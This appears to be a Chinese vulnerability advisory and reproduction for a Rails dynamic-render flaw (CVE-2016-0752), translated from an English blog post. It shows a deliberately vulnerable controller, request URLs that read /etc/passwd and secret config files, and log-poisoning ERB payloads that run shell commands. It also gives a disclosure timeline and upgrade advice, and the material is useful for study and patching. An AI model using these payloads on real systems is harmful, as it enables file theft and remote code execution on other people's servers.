如果你的应用程序使用的动态模版路径 (例如: `render params[:id]`) 那么你的程序将会存在远程代码执行和本地文件包含漏洞. 请把你的 Rails 升级到最新版本, 或者重构你的 `controllers`。
我们将展示如何在特定环境下使用代码执行和本地包含漏洞去攻击 Ruby on Rails 。
Rails的控制器有包含指定渲染文件的功能,举个例子, 当我们调用 show 方法的时候,如果没有定义其他渲染方法,该框架将会隐藏渲染 `show.html.erb` 文件。
> 在绝大多数情况下,开发者会输出不同的格式,例如:文本, JSON, XML 或者其他任何格式,或者查看一个文件, 在这种情况下, 就会使用一个可以动态渲染的模版语言,例如 ERB, HAML, 或者其他的什么. 但是有几种方法可以修改他们展示的内容, 对我们来说,我们只要盯着渲染的方法就好了. The Rails 的文档定义了几种渲染模版和定义内容的方法 , 包括指定模版的路径的 `file:` 参数。
如果你已经阅读过[解决方法的文档](http://guides.rubyonrails.org/layouts_and_rendering.html),但是不确定你需不需要这样的功能——实际上并不止你一个人存在这样的疑惑。那么先让我们看看下面这段代码:
```
def show
render params[:template]
end
```
这个代码看起来似乎很简单,但是谁也想不到一个控制器只是为了渲染模版, 他定义了一个 `template` 参数. 但是他没有被过滤过, 然后 Rails 就会去找指定的模版. , 但是这个模版在哪呢?是 views 目录,还是根目录,又或者是其他目录? 难道他是期待一个模板文件名,或者是一个特殊后缀的文件名 ,还是说一个完整的路径? 带着这些未知的问题继续探索下去。
<br>
### 问题解答
**动态渲染机制是用一个函数解决大量问题的最好的例子。这也就是他的问题所在。**
让我们假设渲染机制是从 `app/views/user/#{params[:template]}` 路径读取文件 – 这似乎是一个合理的想法. 如果我们把 template 参数的值设置为 dashboard ,他将加载 `app/views/user/dashboard.{ext}`, .ext 是一个在白名单里的后缀名 (如 .html, .haml, .html.erb, etc.)

那让我们现在想想,如果把 template 的值设置为: `../admin/dashboard`. 他将会返回什么样的结果给我们呢? 这可能比较难知道, 但是我们经过尝试时候,他提示我们缺少模版。

通过分析错误提示,可是看出他试图从 `RAILS_ROOT/app/views`, `RAILS_ROOT` 和系统根目录去寻找文件. 这有点让人蛋疼, 因为他为什么要从系统的根目录去寻找我们需要的模版文件呢?
> 通过黑客的本能反应,我把参数的内容设置为 `/etc/passwd` , 并且我们确实读取到了 `passwd` 文件. 这是一个重大的发现.

既然我们能够读取 `passwd` 文件, 那么我们是不是也能读取应用程序的源码和配置文件呢, 让我们把参数设置为 `config/initializers/secrettoken.rb` 看看。

> 别忘了是为什么造成了这样的漏洞,是因为你选择了动态设置模版路径导致的。
```
def show
render params[:template]
end
```
> 这只是一段片段并且简单的代码,就能造成这样的漏洞,我相信有不少开发者会这么写,但是这还不是最糟糕的问题。
通过 Jeff Jarmoc 的一篇论文 "[The Anatomy of a Rails Vulnerability – CVE-2014-0130: From Directory Traversal to Shell,](http://matasano.com/research/AnatomyOfRailsVuln-CVE-2014-0130.pdf)" 我们得知,可以通过这样的漏洞获取一个远程代码执行.
Jeff 的论文介绍了一个在某些版本的 Rails 拥有一个相似的缺陷, Rail’s implicit 渲染机制允许目录遍历, 或者更准确的说, **本地文件包含**, 这是一个因为开发者导致的漏洞.
> 在深入挖掘这个漏洞之前我们先思考下,我们现在拥有的是**本地包含**,而不是目录遍历. 不过我们拥有的一个优势就是, 我们可以**加载可执行文件 (ERB)**. 传统意义上来说目录遍历只能返回一些不可执行的文件内容, 比如说 CSV 文件. 所以从本质上来说, 我们不仅可以读取程序的源代码, 还可以读取系统文件, 而且我们还能执行 ruby 代码,是不是屌屌的. 因为我们可以执行 ruby 代码, 所以我们拥有与 web server 同级别的权限去执行系统命令.
从文件包含到代码执行,我们需要采用一种叫日志污染的手法, 会将当前环境的每一个请求,包括参数都会写入日志文件 (比如说 `development.log`). 尽管是纯文本文件,只要是日志,都可以被包含进 ruby 代码. 通过使用有效的 ruby 代码作为参数发起一个请求便可以完成上述过程。
在下面的例子中我们向 web 程序发起一个合法的请求,通过 fake 参数传入一个URL编码的`<%= `ls` %>`。

通过对日志文件的审计,我们可以看到日志中存在这么一条 url decode 后的参数条目,这是一个有效的 ruby 代码,当 web 应用渲染了该日志文件,代码就会被执行。

然后我们就可以用 ruby 的文件包含漏洞,将包含刚才的请求的日志包含尽量,刚刚的参数就会执行。

当请求返回后,我们可以看到,原来的 fake 参数的值已经被 `ls` 命令的值替代。通过如上的方法也可以执行其他的命令了。
<br>
### 结论
如果不去深入地挖掘细节或者积极地尝试 exploit,Rails 的渲染机制将是很神秘很难理解的。很遗憾,Rails 的参考文档在这方面并没有多大帮助。
和 CVE-2014-0130 类似, 使用动态模板渲染造成了目录遍历和代码执行。我已经不止一次地在很多开源 Rails 项目中看到过存在这种漏洞了。如果你还没有读过 Jeff Jarmoc 的那篇论文,我建议最好先阅读一下,这篇文章深入地挖掘了与 CVE-2014-0130 相关的漏洞和危害评估。
这是我写的可以探测和利用本文所述漏洞的 msf module: : https://gist.github.com/forced-request/5158759a6418e6376afb

> 以上中文翻译来自于:https://www.92aq.com/2016/01/27/ruby-on-rails-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C.html
> 英文原文地址:https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/
<br>
### 时间线
* 2015年2月1日 漏洞被发现
* 2015年2月10日 Rails team 决定修复该漏洞
* 2015年7月13日 漏洞在未公开情况下得到证实(距第一次报告该漏洞已经有 5 个月时间)
* 2016年1月25日 针对该漏洞的补丁正式发布,并且该漏洞被 CVE 收录(近 5 个月才证实该漏洞,将近 1 年才修复该漏洞)
* 2016年1月27日 Seebug 收录该漏洞
<br/>
### 漏洞证明
**漏洞应用**
测试环境:Rails-4.1.5 (Ruby-2.1.5)
测试系统:Kali Linux 2.0
创建 Rails 应用:
```
rails new cve-2016-0752
cd cve-2016-0752
```
使用自带命令创建控制器`vuln`路由`index`,并修改其路由默认处理代码:
```
rails generate controller vuln index
```
修改`app/controllers/vuln_controller.rb`中`index`函数代码为:
```
class VulnController < ApplicationController
def index
render params[:q]
end
end
```
启动应用访问 `http://192.168.199.205:3000/vuln/index?q=/etc/passwd` 时,代码会将 `/etc/passwd` 做为模版相对使用函数 render 进行渲染,而 render 函数在寻找模版文件时默认包含了系统根路径,在应用默认的模版存储路径中无法找到 `/etc/passwd` 时回去寻找 `//etc/passwd`,这时如果能够访问到 `//etc/passwd` 文件,应用会将其文件内容作为模版进行渲染:

**配合访问日志执行命令**
Rails应用文件log/development.log存储的是用户访问日志,根据2.1现在已经能控制渲染的模板文件路径,借助访问日志就可以控制渲染模版的内容。借助Rails的模板引擎,在模板内容中插入模板元素<%= `ifconfig` %>,表示将 ifconfig 系统命令的结果作为渲染内容进行返回。
访问http://192.168.199.205:3000/vuln/index?q=<%25=%20`ifconfig`%20%25>,会在log/development.log中留下记录:

这时通过控制模版文件渲染为log/development.log,即可将目标主机的网络信息通过页面结果返回,http://192.168.199.205:3000/vuln/index?q=../../log/development.log:

### 漏洞影响
从 zoomeye.org 上搜索使用了 Rails 框架的站点:

全球大约有**12w**个使用了Rails的站点**可能**受到该漏洞的影响。
同时也可以在 Github 上搜索 `render params` 来查看潜在受到影响的 项目:

可以看到也有大量的项目符合这样的代码写法,可能受到该漏洞的影响。
全部评论 (1)